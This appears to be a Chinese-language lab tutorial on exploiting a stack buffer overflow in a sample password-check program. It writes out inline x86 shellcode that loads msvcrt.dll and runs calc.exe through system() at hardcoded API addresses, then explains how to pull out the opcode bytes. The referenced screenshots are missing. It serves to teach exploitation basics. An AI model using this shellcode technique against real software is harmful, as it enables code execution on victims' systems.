实验原本是模拟一个密码验证程序,其代码如下:
其中verify_password代码如下:
用红框圈起来的地方发现有一个缓冲区漏洞,我们就利用这里进行栈溢出操作。我们这里只是尝试着弹出一个calc.exe。
先构造汇编代码,这里是先利用LoadLibrary加载msvcrt.dll,在利用system函数弹出calc.exe,最后利用ExitProcess退出,以防止栈破坏而报错:
void main() { __asm { mov esp, ebp; push ebp; mov ebp, esp; xor edi, edi; push edi; sub esp, 08h; mov byte ptr[ebp - 0ch], 6Dh; //m mov byte ptr[ebp - 0bh], 73h; //s mov byte ptr[ebp - 0ah], 76h; //v mov byte ptr[ebp - 09h], 63h; //c mov byte ptr[ebp - 08h], 72h; //r mov byte ptr[ebp - 07h], 74h; //t mov byte ptr[ebp - 06h], 2Eh; //. mov byte ptr[ebp - 05h], 64h; //d mov byte ptr[ebp - 04h], 6Ch; //l mov byte ptr[ebp - 03h], 6Ch; //l lea eax, [ebp - 0Ch]; push eax; mov eax, 0x763b8f80; call eax;//LoadLibrary xor edi, edi; push edi; sub esp, 08h; mov byte ptr[ebp - 18h], 63h; //c mov byte ptr[ebp - 17h], 61h; //a mov byte ptr[ebp - 16h], 6ch; //l mov byte ptr[ebp - 15h], 63h; //c mov byte ptr[ebp - 14h], 2Eh; //. mov byte ptr[ebp - 13h], 65h; //e mov byte ptr[ebp - 12h], 78h; //x mov byte ptr[ebp - 11h], 65h; //e //system 0x762fb730 lea eax, [ebp - 18h]; push eax; mov eax, 0x762fb730; call eax;//system mov eax, 0x763c9850; call eax;//ExitProcess } }
_asm中间的才是我们需要的,之所以放入main函数只是为了运行测试我们所写的汇编代码是否有问题,运行:
可以正常弹出calc.exe,说明汇编代码没有问题。那么我们现在利用VS的反汇编功能,查看这些汇编代码的机器码,记得要在反汇编窗口右键选中“显示代码字节”,才能看到机器码:
选中后显示如下:
这里有一个问题,我们call eax的时候实际上是在调用API,我们又是如何知道这些API的地址的呢?
时间: 2024-10-23 03:24:05